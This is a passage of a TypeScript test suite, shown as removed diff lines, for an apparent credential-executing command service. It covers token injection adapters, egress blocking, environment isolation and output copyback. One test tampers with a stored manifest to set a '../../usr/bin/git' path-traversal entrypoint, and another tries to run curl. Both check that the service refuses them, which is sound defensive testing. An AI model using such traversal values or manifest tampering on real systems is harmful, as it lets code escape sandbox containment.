646
|
-
expect(result.error).toContain("Credential materialization failed");
|
|
647
|
-
expect(result.error).toContain("Credential store is locked");
|
|
648
|
-
});
|
|
649
|
-
});
|
|
650
|
-
|
|
651
|
-
// ---------------------------------------------------------------------------
|
|
652
|
-
// Auth adapter tests
|
|
653
|
-
// ---------------------------------------------------------------------------
|
|
654
|
-
|
|
655
|
-
describe("executeAuthenticatedCommand — auth adapters", () => {
|
|
656
|
-
test("env_var adapter injects credential as environment variable", async () => {
|
|
657
|
-
const manifest = buildManifest({
|
|
658
|
-
egressMode: EgressMode.NoNetwork,
|
|
659
|
-
authAdapter: {
|
|
660
|
-
type: AuthAdapterType.EnvVar,
|
|
661
|
-
envVarName: "MY_TOKEN",
|
|
662
|
-
},
|
|
663
|
-
commandProfiles: {
|
|
664
|
-
list: {
|
|
665
|
-
description: "List resources",
|
|
666
|
-
allowedArgvPatterns: [
|
|
667
|
-
{
|
|
668
|
-
name: "list-all",
|
|
669
|
-
tokens: ["list", "--format", "<format>"],
|
|
670
|
-
},
|
|
671
|
-
],
|
|
672
|
-
deniedSubcommands: [],
|
|
673
|
-
},
|
|
674
|
-
},
|
|
675
|
-
});
|
|
676
|
-
// Script that prints the env var
|
|
677
|
-
const { digest } = publishTestBundle(
|
|
678
|
-
manifest,
|
|
679
|
-
"local",
|
|
680
|
-
'#!/bin/sh\necho "$MY_TOKEN"\n',
|
|
681
|
-
);
|
|
682
|
-
|
|
683
|
-
const deps = buildDeps({
|
|
684
|
-
materializeCredential: successMaterializer("secret-token-123"),
|
|
685
|
-
});
|
|
686
|
-
addCommandGrant(
|
|
687
|
-
deps.persistentStore,
|
|
688
|
-
"local_static:test/api_key",
|
|
689
|
-
digest,
|
|
690
|
-
"list",
|
|
691
|
-
);
|
|
692
|
-
|
|
693
|
-
const request: ExecuteCommandRequest = {
|
|
694
|
-
bundleDigest: digest,
|
|
695
|
-
profileName: "list",
|
|
696
|
-
credentialHandle: "local_static:test/api_key",
|
|
697
|
-
argv: ["list", "--format", "json"],
|
|
698
|
-
workspaceDir: testWorkspaceDir,
|
|
699
|
-
purpose: "Test env_var adapter",
|
|
700
|
-
};
|
|
701
|
-
|
|
702
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
703
|
-
|
|
704
|
-
// The script should output the injected token
|
|
705
|
-
if (result.exitCode === 0) {
|
|
706
|
-
expect(result.stdout?.trim()).toBe("secret-token-123");
|
|
707
|
-
}
|
|
708
|
-
// If the script can't execute (path issues in test), verify we got past
|
|
709
|
-
// the adapter phase
|
|
710
|
-
expect(result.error ?? "").not.toContain("Auth adapter");
|
|
711
|
-
});
|
|
712
|
-
|
|
713
|
-
test("env_var adapter applies valuePrefix", async () => {
|
|
714
|
-
const manifest = buildManifest({
|
|
715
|
-
egressMode: EgressMode.NoNetwork,
|
|
716
|
-
authAdapter: {
|
|
717
|
-
type: AuthAdapterType.EnvVar,
|
|
718
|
-
envVarName: "AUTH_HEADER",
|
|
719
|
-
valuePrefix: "Bearer ",
|
|
720
|
-
},
|
|
721
|
-
commandProfiles: {
|
|
722
|
-
list: {
|
|
723
|
-
description: "List resources",
|
|
724
|
-
allowedArgvPatterns: [
|
|
725
|
-
{
|
|
726
|
-
name: "list-all",
|
|
727
|
-
tokens: ["list", "--format", "<format>"],
|
|
728
|
-
},
|
|
729
|
-
],
|
|
730
|
-
deniedSubcommands: [],
|
|
731
|
-
},
|
|
732
|
-
},
|
|
733
|
-
});
|
|
734
|
-
const { digest } = publishTestBundle(
|
|
735
|
-
manifest,
|
|
736
|
-
"local",
|
|
737
|
-
'#!/bin/sh\necho "$AUTH_HEADER"\n',
|
|
738
|
-
);
|
|
739
|
-
|
|
740
|
-
const deps = buildDeps({
|
|
741
|
-
materializeCredential: successMaterializer("my-oauth-token"),
|
|
742
|
-
});
|
|
743
|
-
addCommandGrant(
|
|
744
|
-
deps.persistentStore,
|
|
745
|
-
"local_static:test/api_key",
|
|
746
|
-
digest,
|
|
747
|
-
"list",
|
|
748
|
-
);
|
|
749
|
-
|
|
750
|
-
const request: ExecuteCommandRequest = {
|
|
751
|
-
bundleDigest: digest,
|
|
752
|
-
profileName: "list",
|
|
753
|
-
credentialHandle: "local_static:test/api_key",
|
|
754
|
-
argv: ["list", "--format", "json"],
|
|
755
|
-
workspaceDir: testWorkspaceDir,
|
|
756
|
-
purpose: "Test env_var adapter with prefix",
|
|
757
|
-
};
|
|
758
|
-
|
|
759
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
760
|
-
|
|
761
|
-
if (result.exitCode === 0) {
|
|
762
|
-
expect(result.stdout?.trim()).toBe("Bearer my-oauth-token");
|
|
763
|
-
}
|
|
764
|
-
expect(result.error ?? "").not.toContain("Auth adapter");
|
|
765
|
-
});
|
|
766
|
-
|
|
767
|
-
test("temp_file adapter writes credential to a file", async () => {
|
|
768
|
-
const manifest = buildManifest({
|
|
769
|
-
egressMode: EgressMode.NoNetwork,
|
|
770
|
-
authAdapter: {
|
|
771
|
-
type: AuthAdapterType.TempFile,
|
|
772
|
-
envVarName: "CRED_FILE",
|
|
773
|
-
fileExtension: ".json",
|
|
774
|
-
},
|
|
775
|
-
commandProfiles: {
|
|
776
|
-
list: {
|
|
777
|
-
description: "List resources",
|
|
778
|
-
allowedArgvPatterns: [
|
|
779
|
-
{
|
|
780
|
-
name: "list-all",
|
|
781
|
-
tokens: ["list", "--format", "<format>"],
|
|
782
|
-
},
|
|
783
|
-
],
|
|
784
|
-
deniedSubcommands: [],
|
|
785
|
-
},
|
|
786
|
-
},
|
|
787
|
-
});
|
|
788
|
-
// Script that reads the file pointed to by CRED_FILE
|
|
789
|
-
const { digest } = publishTestBundle(
|
|
790
|
-
manifest,
|
|
791
|
-
"local",
|
|
792
|
-
'#!/bin/sh\ncat "$CRED_FILE"\n',
|
|
793
|
-
);
|
|
794
|
-
|
|
795
|
-
const deps = buildDeps({
|
|
796
|
-
materializeCredential: successMaterializer('{"key":"test-secret"}'),
|
|
797
|
-
});
|
|
798
|
-
addCommandGrant(
|
|
799
|
-
deps.persistentStore,
|
|
800
|
-
"local_static:test/api_key",
|
|
801
|
-
digest,
|
|
802
|
-
"list",
|
|
803
|
-
);
|
|
804
|
-
|
|
805
|
-
const request: ExecuteCommandRequest = {
|
|
806
|
-
bundleDigest: digest,
|
|
807
|
-
profileName: "list",
|
|
808
|
-
credentialHandle: "local_static:test/api_key",
|
|
809
|
-
argv: ["list", "--format", "json"],
|
|
810
|
-
workspaceDir: testWorkspaceDir,
|
|
811
|
-
purpose: "Test temp_file adapter",
|
|
812
|
-
};
|
|
813
|
-
|
|
814
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
815
|
-
|
|
816
|
-
if (result.exitCode === 0) {
|
|
817
|
-
expect(result.stdout?.trim()).toBe('{"key":"test-secret"}');
|
|
818
|
-
}
|
|
819
|
-
// Verify we got past the adapter phase
|
|
820
|
-
expect(result.error ?? "").not.toContain("Auth adapter");
|
|
821
|
-
});
|
|
822
|
-
});
|
|
823
|
-
|
|
824
|
-
// ---------------------------------------------------------------------------
|
|
825
|
-
// Egress proxy enforcement tests
|
|
826
|
-
// ---------------------------------------------------------------------------
|
|
827
|
-
|
|
828
|
-
describe("executeAuthenticatedCommand — egress enforcement", () => {
|
|
829
|
-
test("rejects proxy_required without egress hooks", async () => {
|
|
830
|
-
const manifest = buildManifest({
|
|
831
|
-
egressMode: EgressMode.ProxyRequired,
|
|
832
|
-
});
|
|
833
|
-
const { digest } = publishTestBundle(
|
|
834
|
-
manifest,
|
|
835
|
-
"local",
|
|
836
|
-
'#!/bin/sh\necho "egress enforcement test"\n',
|
|
837
|
-
);
|
|
838
|
-
|
|
839
|
-
const deps = buildDeps({
|
|
840
|
-
egressHooks: undefined, // No hooks provided
|
|
841
|
-
});
|
|
842
|
-
addCommandGrant(
|
|
843
|
-
deps.persistentStore,
|
|
844
|
-
"local_static:test/api_key",
|
|
845
|
-
digest,
|
|
846
|
-
"list",
|
|
847
|
-
);
|
|
848
|
-
|
|
849
|
-
const request: ExecuteCommandRequest = {
|
|
850
|
-
bundleDigest: digest,
|
|
851
|
-
profileName: "list",
|
|
852
|
-
credentialHandle: "local_static:test/api_key",
|
|
853
|
-
argv: ["list", "--format", "json"],
|
|
854
|
-
workspaceDir: testWorkspaceDir,
|
|
855
|
-
purpose: "Test egress enforcement",
|
|
856
|
-
};
|
|
857
|
-
|
|
858
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
859
|
-
|
|
860
|
-
expect(result.success).toBe(false);
|
|
861
|
-
expect(result.error).toContain("proxy_required");
|
|
862
|
-
expect(result.error).toContain("no egress hooks");
|
|
863
|
-
});
|
|
864
|
-
|
|
865
|
-
test("allows no_network mode without egress hooks", async () => {
|
|
866
|
-
const manifest = buildManifest({
|
|
867
|
-
egressMode: EgressMode.NoNetwork,
|
|
868
|
-
commandProfiles: {
|
|
869
|
-
list: {
|
|
870
|
-
description: "List resources",
|
|
871
|
-
allowedArgvPatterns: [
|
|
872
|
-
{
|
|
873
|
-
name: "list-all",
|
|
874
|
-
tokens: ["list", "--format", "<format>"],
|
|
875
|
-
},
|
|
876
|
-
],
|
|
877
|
-
deniedSubcommands: [],
|
|
878
|
-
},
|
|
879
|
-
},
|
|
880
|
-
});
|
|
881
|
-
const { digest } = publishTestBundle(
|
|
882
|
-
manifest,
|
|
883
|
-
"local",
|
|
884
|
-
'#!/bin/sh\necho "offline mode"\n',
|
|
885
|
-
);
|
|
886
|
-
|
|
887
|
-
const deps = buildDeps();
|
|
888
|
-
addCommandGrant(
|
|
889
|
-
deps.persistentStore,
|
|
890
|
-
"local_static:test/api_key",
|
|
891
|
-
digest,
|
|
892
|
-
"list",
|
|
893
|
-
);
|
|
894
|
-
|
|
895
|
-
const request: ExecuteCommandRequest = {
|
|
896
|
-
bundleDigest: digest,
|
|
897
|
-
profileName: "list",
|
|
898
|
-
credentialHandle: "local_static:test/api_key",
|
|
899
|
-
argv: ["list", "--format", "json"],
|
|
900
|
-
workspaceDir: testWorkspaceDir,
|
|
901
|
-
purpose: "Test no_network mode",
|
|
902
|
-
};
|
|
903
|
-
|
|
904
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
905
|
-
|
|
906
|
-
// Should get past egress check
|
|
907
|
-
expect(result.error ?? "").not.toContain("proxy_required");
|
|
908
|
-
expect(result.error ?? "").not.toContain("egress");
|
|
909
|
-
});
|
|
910
|
-
});
|
|
911
|
-
|
|
912
|
-
// ---------------------------------------------------------------------------
|
|
913
|
-
// Command execution tests
|
|
914
|
-
// ---------------------------------------------------------------------------
|
|
915
|
-
|
|
916
|
-
describe("executeAuthenticatedCommand — command execution", () => {
|
|
917
|
-
test("executes a simple shell script successfully", async () => {
|
|
918
|
-
const manifest = buildManifest({
|
|
919
|
-
egressMode: EgressMode.NoNetwork,
|
|
920
|
-
commandProfiles: {
|
|
921
|
-
list: {
|
|
922
|
-
description: "List resources",
|
|
923
|
-
allowedArgvPatterns: [
|
|
924
|
-
{
|
|
925
|
-
name: "list-all",
|
|
926
|
-
tokens: ["list", "--format", "<format>"],
|
|
927
|
-
},
|
|
928
|
-
],
|
|
929
|
-
deniedSubcommands: [],
|
|
930
|
-
},
|
|
931
|
-
},
|
|
932
|
-
});
|
|
933
|
-
const { digest } = publishTestBundle(
|
|
934
|
-
manifest,
|
|
935
|
-
"local",
|
|
936
|
-
'#!/bin/sh\necho "success: $1 $2 $3"\n',
|
|
937
|
-
);
|
|
938
|
-
|
|
939
|
-
const deps = buildDeps();
|
|
940
|
-
addCommandGrant(
|
|
941
|
-
deps.persistentStore,
|
|
942
|
-
"local_static:test/api_key",
|
|
943
|
-
digest,
|
|
944
|
-
"list",
|
|
945
|
-
);
|
|
946
|
-
|
|
947
|
-
const request: ExecuteCommandRequest = {
|
|
948
|
-
bundleDigest: digest,
|
|
949
|
-
profileName: "list",
|
|
950
|
-
credentialHandle: "local_static:test/api_key",
|
|
951
|
-
argv: ["list", "--format", "json"],
|
|
952
|
-
workspaceDir: testWorkspaceDir,
|
|
953
|
-
purpose: "Test execution",
|
|
954
|
-
};
|
|
955
|
-
|
|
956
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
957
|
-
|
|
958
|
-
expect(result.exitCode).toBe(0);
|
|
959
|
-
expect(result.success).toBe(true);
|
|
960
|
-
expect(result.stdout).toContain("success: list --format json");
|
|
961
|
-
});
|
|
962
|
-
|
|
963
|
-
test("captures non-zero exit code", async () => {
|
|
964
|
-
const manifest = buildManifest({
|
|
965
|
-
egressMode: EgressMode.NoNetwork,
|
|
966
|
-
commandProfiles: {
|
|
967
|
-
list: {
|
|
968
|
-
description: "List resources",
|
|
969
|
-
allowedArgvPatterns: [
|
|
970
|
-
{
|
|
971
|
-
name: "list-all",
|
|
972
|
-
tokens: ["list", "--format", "<format>"],
|
|
973
|
-
},
|
|
974
|
-
],
|
|
975
|
-
deniedSubcommands: [],
|
|
976
|
-
},
|
|
977
|
-
},
|
|
978
|
-
});
|
|
979
|
-
const { digest } = publishTestBundle(
|
|
980
|
-
manifest,
|
|
981
|
-
"local",
|
|
982
|
-
'#!/bin/sh\necho "error" >&2\nexit 42\n',
|
|
983
|
-
);
|
|
984
|
-
|
|
985
|
-
const deps = buildDeps();
|
|
986
|
-
addCommandGrant(
|
|
987
|
-
deps.persistentStore,
|
|
988
|
-
"local_static:test/api_key",
|
|
989
|
-
digest,
|
|
990
|
-
"list",
|
|
991
|
-
);
|
|
992
|
-
|
|
993
|
-
const request: ExecuteCommandRequest = {
|
|
994
|
-
bundleDigest: digest,
|
|
995
|
-
profileName: "list",
|
|
996
|
-
credentialHandle: "local_static:test/api_key",
|
|
997
|
-
argv: ["list", "--format", "json"],
|
|
998
|
-
workspaceDir: testWorkspaceDir,
|
|
999
|
-
purpose: "Test non-zero exit",
|
|
1000
|
-
};
|
|
1001
|
-
|
|
1002
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
1003
|
-
|
|
1004
|
-
expect(result.exitCode).toBe(42);
|
|
1005
|
-
expect(result.success).toBe(false);
|
|
1006
|
-
expect(result.stderr).toContain("error");
|
|
1007
|
-
});
|
|
1008
|
-
|
|
1009
|
-
test("does not leak CES process environment to subprocess", async () => {
|
|
1010
|
-
const manifest = buildManifest({
|
|
1011
|
-
egressMode: EgressMode.NoNetwork,
|
|
1012
|
-
commandProfiles: {
|
|
1013
|
-
list: {
|
|
1014
|
-
description: "List resources",
|
|
1015
|
-
allowedArgvPatterns: [
|
|
1016
|
-
{
|
|
1017
|
-
name: "list-all",
|
|
1018
|
-
tokens: ["list", "--format", "<format>"],
|
|
1019
|
-
},
|
|
1020
|
-
],
|
|
1021
|
-
deniedSubcommands: [],
|
|
1022
|
-
},
|
|
1023
|
-
},
|
|
1024
|
-
});
|
|
1025
|
-
// Script that tries to read a common CES env var
|
|
1026
|
-
const { digest } = publishTestBundle(
|
|
1027
|
-
manifest,
|
|
1028
|
-
"local",
|
|
1029
|
-
'#!/bin/sh\necho "CES_MODE=${CES_MODE:-unset}"\necho "CREDENTIAL_SECURITY_DIR=${CREDENTIAL_SECURITY_DIR:-unset}"\n',
|
|
1030
|
-
);
|
|
1031
|
-
|
|
1032
|
-
const deps = buildDeps();
|
|
1033
|
-
addCommandGrant(
|
|
1034
|
-
deps.persistentStore,
|
|
1035
|
-
"local_static:test/api_key",
|
|
1036
|
-
digest,
|
|
1037
|
-
"list",
|
|
1038
|
-
);
|
|
1039
|
-
|
|
1040
|
-
const request: ExecuteCommandRequest = {
|
|
1041
|
-
bundleDigest: digest,
|
|
1042
|
-
profileName: "list",
|
|
1043
|
-
credentialHandle: "local_static:test/api_key",
|
|
1044
|
-
argv: ["list", "--format", "json"],
|
|
1045
|
-
workspaceDir: testWorkspaceDir,
|
|
1046
|
-
purpose: "Test env isolation",
|
|
1047
|
-
};
|
|
1048
|
-
|
|
1049
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
1050
|
-
|
|
1051
|
-
if (result.exitCode === 0) {
|
|
1052
|
-
expect(result.stdout).toContain("CES_MODE=unset");
|
|
1053
|
-
expect(result.stdout).toContain("CREDENTIAL_SECURITY_DIR=unset");
|
|
1054
|
-
}
|
|
1055
|
-
});
|
|
1056
|
-
});
|
|
1057
|
-
|
|
1058
|
-
// ---------------------------------------------------------------------------
|
|
1059
|
-
// Output copyback tests
|
|
1060
|
-
// ---------------------------------------------------------------------------
|
|
1061
|
-
|
|
1062
|
-
describe("executeAuthenticatedCommand — output copyback", () => {
|
|
1063
|
-
test("copies declared output files back to workspace", async () => {
|
|
1064
|
-
const manifest = buildManifest({
|
|
1065
|
-
egressMode: EgressMode.NoNetwork,
|
|
1066
|
-
commandProfiles: {
|
|
1067
|
-
list: {
|
|
1068
|
-
description: "List resources",
|
|
1069
|
-
allowedArgvPatterns: [
|
|
1070
|
-
{
|
|
1071
|
-
name: "list-all",
|
|
1072
|
-
tokens: ["list", "--format", "<format>"],
|
|
1073
|
-
},
|
|
1074
|
-
],
|
|
1075
|
-
deniedSubcommands: [],
|
|
1076
|
-
},
|
|
1077
|
-
},
|
|
1078
|
-
});
|
|
1079
|
-
// Script that creates an output file in the cwd
|
|
1080
|
-
const { digest } = publishTestBundle(
|
|
1081
|
-
manifest,
|
|
1082
|
-
"local",
|
|
1083
|
-
'#!/bin/sh\necho \'{"result":"ok"}\' > output.json\n',
|
|
1084
|
-
);
|
|
1085
|
-
|
|
1086
|
-
const deps = buildDeps();
|
|
1087
|
-
addCommandGrant(
|
|
1088
|
-
deps.persistentStore,
|
|
1089
|
-
"local_static:test/api_key",
|
|
1090
|
-
digest,
|
|
1091
|
-
"list",
|
|
1092
|
-
);
|
|
1093
|
-
|
|
1094
|
-
const request: ExecuteCommandRequest = {
|
|
1095
|
-
bundleDigest: digest,
|
|
1096
|
-
profileName: "list",
|
|
1097
|
-
credentialHandle: "local_static:test/api_key",
|
|
1098
|
-
argv: ["list", "--format", "json"],
|
|
1099
|
-
workspaceDir: testWorkspaceDir,
|
|
1100
|
-
purpose: "Test output copyback",
|
|
1101
|
-
outputs: [
|
|
1102
|
-
{
|
|
1103
|
-
scratchPath: "output.json",
|
|
1104
|
-
workspacePath: "results/output.json",
|
|
1105
|
-
},
|
|
1106
|
-
],
|
|
1107
|
-
};
|
|
1108
|
-
|
|
1109
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
1110
|
-
|
|
1111
|
-
if (result.exitCode === 0) {
|
|
1112
|
-
if (result.copybackResult) {
|
|
1113
|
-
// Check if the output was detected
|
|
1114
|
-
const outputResult = result.copybackResult.outputs[0];
|
|
1115
|
-
expect(outputResult).toBeDefined();
|
|
1116
|
-
}
|
|
1117
|
-
}
|
|
1118
|
-
});
|
|
1119
|
-
});
|
|
1120
|
-
|
|
1121
|
-
// ---------------------------------------------------------------------------
|
|
1122
|
-
// Banned binary defense-in-depth tests
|
|
1123
|
-
// ---------------------------------------------------------------------------
|
|
1124
|
-
|
|
1125
|
-
describe("executeAuthenticatedCommand — banned binaries", () => {
|
|
1126
|
-
test("rejects execution of denied binaries at bundle level", async () => {
|
|
1127
|
-
// Since publishBundle validates the manifest, we can't publish
|
|
1128
|
-
// a bundle with a denied binary. This test verifies the error path
|
|
1129
|
-
// by checking that resolution fails for non-published digests.
|
|
1130
|
-
const deps = buildDeps();
|
|
1131
|
-
const request: ExecuteCommandRequest = {
|
|
1132
|
-
bundleDigest: "b".repeat(64),
|
|
1133
|
-
profileName: "fetch",
|
|
1134
|
-
credentialHandle: "local_static:test/api_key",
|
|
1135
|
-
argv: ["https://example.com"],
|
|
1136
|
-
workspaceDir: testWorkspaceDir,
|
|
1137
|
-
purpose: "Try to run curl",
|
|
1138
|
-
};
|
|
1139
|
-
|
|
1140
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
1141
|
-
|
|
1142
|
-
expect(result.success).toBe(false);
|
|
1143
|
-
expect(result.error).toContain("not published");
|
|
1144
|
-
});
|
|
1145
|
-
});
|
|
1146
|
-
|
|
1147
|
-
// ---------------------------------------------------------------------------
|
|
1148
|
-
// Entrypoint path containment tests
|
|
1149
|
-
// ---------------------------------------------------------------------------
|
|
1150
|
-
|
|
1151
|
-
describe("executeAuthenticatedCommand — entrypoint path containment", () => {
|
|
1152
|
-
test("rejects entrypoint that escapes the bundle directory via path traversal", async () => {
|
|
1153
|
-
// Publish a valid bundle with a safe entrypoint, then patch the
|
|
1154
|
-
// toolstore manifest to inject a traversal path. This simulates a
|
|
1155
|
-
// tampered manifest — publishBundle correctly rejects traversal
|
|
1156
|
-
// entrypoints during extraction, so the containment check in the
|
|
1157
|
-
// executor is a defense-in-depth layer.
|
|
1158
|
-
const safeManifest = buildManifest({
|
|
1159
|
-
egressMode: EgressMode.NoNetwork,
|
|
1160
|
-
entrypoint: "bin/test-cli",
|
|
1161
|
-
commandProfiles: {
|
|
1162
|
-
list: {
|
|
1163
|
-
description: "List resources",
|
|
1164
|
-
allowedArgvPatterns: [
|
|
1165
|
-
{
|
|
1166
|
-
name: "list-all",
|
|
1167
|
-
tokens: ["list", "--format", "<format>"],
|
|
1168
|
-
},
|
|
1169
|
-
],
|
|
1170
|
-
deniedSubcommands: [],
|
|
1171
|
-
},
|
|
1172
|
-
},
|
|
1173
|
-
});
|
|
1174
|
-
const { digest } = publishTestBundle(
|
|
1175
|
-
safeManifest,
|
|
1176
|
-
"local",
|
|
1177
|
-
'#!/bin/sh\necho "should not run"\n',
|
|
1178
|
-
);
|
|
1179
|
-
|
|
1180
|
-
// Patch the toolstore manifest to inject a traversal entrypoint.
|
|
1181
|
-
// The manifest is published as read-only (0o444), so chmod first.
|
|
1182
|
-
const toolstoreDir = getCesToolStoreDir("local");
|
|
1183
|
-
const manifestPath = getBundleManifestPath(toolstoreDir, digest);
|
|
1184
|
-
chmodSync(manifestPath, 0o644);
|
|
1185
|
-
const storedManifest = JSON.parse(readFileSync(manifestPath, "utf-8"));
|
|
1186
|
-
storedManifest.secureCommandManifest.entrypoint = "../../usr/bin/git";
|
|
1187
|
-
writeFileSync(manifestPath, JSON.stringify(storedManifest, null, 2) + "\n");
|
|
1188
|
-
|
|
1189
|
-
const deps = buildDeps();
|
|
1190
|
-
addCommandGrant(
|
|
1191
|
-
deps.persistentStore,
|
|
1192
|
-
"local_static:test/api_key",
|
|
1193
|
-
digest,
|
|
1194
|
-
"list",
|
|
1195
|
-
);
|
|
1196
|
-
|
|
1197
|
-
const request: ExecuteCommandRequest = {
|
|
1198
|
-
bundleDigest: digest,
|
|
1199
|
-
profileName: "list",
|
|
1200
|
-
credentialHandle: "local_static:test/api_key",
|
|
1201
|
-
argv: ["list", "--format", "json"],
|
|
1202
|
-
workspaceDir: testWorkspaceDir,
|
|
1203
|
-
purpose: "Test path traversal",
|
|
1204
|
-
};
|
|
1205
|
-
|
|
1206
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
1207
|
-
|
|
1208
|
-
expect(result.success).toBe(false);
|
|
1209
|
-
expect(result.error).toContain("resolves outside the bundle directory");
|
|
1210
|
-
expect(result.error).toContain("Path traversal");
|
|
1211
|
-
});
|
|
1212
|
-
});
|
|
1213
|
-
|
|
1214
|
-
// ---------------------------------------------------------------------------
|
|
1215
|
-
// no_network enforcement tests
|
|
1216
|
-
// ---------------------------------------------------------------------------
|
|
1217
|
-
|
|
1218
|
-
describe("executeAuthenticatedCommand — no_network enforcement", () => {
|
|
1219
|
-
test("injects blocking proxy env vars in no_network mode", async () => {
|
|
1220
|
-
const manifest = buildManifest({
|
|
1221
|
-
egressMode: EgressMode.NoNetwork,
|
|
1222
|
-
commandProfiles: {
|
|
1223
|
-
list: {
|
|
1224
|
-
description: "List resources",
|
|
1225
|
-
allowedArgvPatterns: [
|
|
1226
|
-
{
|
|
1227
|
-
name: "list-all",
|
|
1228
|
-
tokens: ["list", "--format", "<format>"],
|
|
1229
|
-
},
|
|
1230
|
-
],
|
|
1231
|
-
deniedSubcommands: [],
|
|
1232
|
-
},
|
|
1233
|
-
},
|
|
1234
|
-
});
|
|
1235
|
-
// Script that checks for proxy env vars
|
|
1236
|
-
const { digest } = publishTestBundle(
|
|
1237
|
-
manifest,
|
|
1238
|
-
"local",
|
|
1239
|
-
'#!/bin/sh\necho "HTTP_PROXY=$HTTP_PROXY"\necho "HTTPS_PROXY=$HTTPS_PROXY"\n',
|
|
1240
|
-
);
|
|
1241
|
-
|
|
1242
|
-
const deps = buildDeps();
|
|
1243
|
-
addCommandGrant(
|
|
1244
|
-
deps.persistentStore,
|
|
1245
|
-
"local_static:test/api_key",
|
|
1246
|
-
digest,
|
|
1247
|
-
"list",
|
|
1248
|
-
);
|
|
1249
|
-
|
|
1250
|
-
const request: ExecuteCommandRequest = {
|
|
1251
|
-
bundleDigest: digest,
|
|
1252
|
-
profileName: "list",
|
|
1253
|
-
credentialHandle: "local_static:test/api_key",
|
|
1254
|
-
argv: ["list", "--format", "json"],
|
|
1255
|
-
workspaceDir: testWorkspaceDir,
|
|
1256
|
-
purpose: "Test no_network proxy injection",
|
|
1257
|
-
};
|
|
1258
|
-
|
|
1259
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
1260
|
-
|
|
1261
|
-
expect(result.exitCode).toBe(0);
|
|
1262
|
-
// The proxy vars should point at a dead address to block outbound connections
|
|
1263
|
-
expect(result.stdout).toContain("HTTP_PROXY=http://127.0.0.1:0");
|
|
1264
|
-
expect(result.stdout).toContain("HTTPS_PROXY=http://127.0.0.1:0");
|
|
1265
|
-
});
|
|
1266
|
-
});
|
|
1267
|
-
|
|
1268
|
-
// ---------------------------------------------------------------------------
|
|
1269
|
-
// credential_process stdin tests
|
|
1270
|
-
// ---------------------------------------------------------------------------
|
|
1271
|
-
|
|
1272
|
-
describe("executeAuthenticatedCommand — credential_process stdin", () => {
|
|
1273
|
-
test("credential_process helper receives credential value on stdin", async () => {
|
|
1274
|
-
const manifest = buildManifest({
|
|
1275
|
-
egressMode: EgressMode.NoNetwork,
|
|
1276
|
-
authAdapter: {
|
|
1277
|
-
type: AuthAdapterType.CredentialProcess,
|
|
1278
|
-
helperCommand: "cat", // cat echoes stdin to stdout
|
|
1279
|
-
envVarName: "TRANSFORMED_CRED",
|
|
1280
|
-
},
|
|
1281
|
-
commandProfiles: {
|
|
1282
|
-
list: {
|
|
1283
|
-
description: "List resources",
|
|
1284
|
-
allowedArgvPatterns: [
|
|
1285
|
-
{
|
|
1286
|
-
name: "list-all",
|
|
1287
|
-
tokens: ["list", "--format", "<format>"],
|
|
1288
|
-
},
|
|
1289
|
-
],
|
|
1290
|
-
deniedSubcommands: [],
|
|
1291
|
-
},
|
|
1292
|
-
},
|
|
1293
|
-
});
|
|
1294
|
-
const { digest } = publishTestBundle(
|
|
1295
|
-
manifest,
|
|
1296
|
-
"local",
|
|
1297
|
-
'#!/bin/sh\necho "$TRANSFORMED_CRED"\n',
|
|
1298
|
-
);
|
|
1299
|
-
|
|
1300
|
-
const deps = buildDeps({
|
|
1301
|
-
materializeCredential: successMaterializer("my-raw-credential"),
|
|
1302
|
-
});
|
|
1303
|
-
addCommandGrant(
|
|
1304
|
-
deps.persistentStore,
|
|
1305
|
-
"local_static:test/api_key",
|
|
1306
|
-
digest,
|
|
1307
|
-
"list",
|
|
1308
|
-
);
|
|
1309
|
-
|
|
1310
|
-
const request: ExecuteCommandRequest = {
|
|
1311
|
-
bundleDigest: digest,
|
|
1312
|
-
profileName: "list",
|
|
1313
|
-
credentialHandle: "local_static:test/api_key",
|
|
1314
|
-
argv: ["list", "--format", "json"],
|
|
1315
|
-
workspaceDir: testWorkspaceDir,
|
|
1316
|
-
purpose: "Test credential_process stdin",
|
|
1317
|
-
};
|
|
1318
|
-
|
|
1319
|
-
const result = await executeAuthenticatedCommand(request, deps);
|
|
1320
|
-
|
|
1321
|
-
// cat should have echoed the credential value via stdin, which then
|
|
1322
|
-
// gets injected into TRANSFORMED_CRED for the command to use
|
|
1323
|
-
expect(result.exitCode).toBe(0);
|
|
1324
|
-
expect(result.stdout?.trim()).toBe("my-raw-credential");
|
|
1325
|
-
});
|
|
1326
|
-
});
|
|
1327
|
-
|
|
1328
|
-
// ---------------------------------------------------------------------------
|
|
1329
|
-
// RPC handler command string parsing tests
|
|
1330
|
-
// ---------------------------------------------------------------------------
|
|
1331
|
-
|
|
1332
|
-
describe("server — run_authenticated_command handler", () => {
|
|
1333
|
-
// Test the command string parsing logic used by the RPC handler.
|
|
1334
|
-
// We import the server module's createRunAuthenticatedCommandHandler
|
|
1335
|
-
// and test it with mock deps.
|
|
1336
|
-
|
|
1337
|
-
test("rejects empty command string", async () => {
|
|
1338
|
-
// Import the handler factory from server
|
|
1339
|
-
const { createRunAuthenticatedCommandHandler } =
|
|
1340
|
-
await import("../server.js");
|
|
1341
|
-
|
|
1342
|
-
const deps = buildDeps();
|
|
1343
|
-
const handler = createRunAuthenticatedCommandHandler({
|
|
1344
|
-
executorDeps: deps,
|
|
1345
|
-
defaultWorkspaceDir: testWorkspaceDir,
|
|
1346
|
-
});
|
|
1347
|
-
|
|
1348
|
-
const response = await handler(
|
|
1349
|
-
{
|
|
1350
|
-
credentialHandle: "local_static:test/api_key",
|
|
1351
|
-
command: "",
|
|
1352
|
-
purpose: "Test empty command",
|
|
1353
|
-
},
|
|
1354
|
-
{ sessionId: "test-session" },
|
|
1355
|
-
);
|
|
1356
|
-
|
|
1357
|
-
expect(response.success).toBe(false);
|
|
1358
|
-
expect(response.error?.code).toBe("INVALID_COMMAND");
|
|
1359
|
-
expect(response.error?.message).toContain("empty");
|
|
1360
|
-
});
|
|
1361
|
-
|
|
1362
|
-
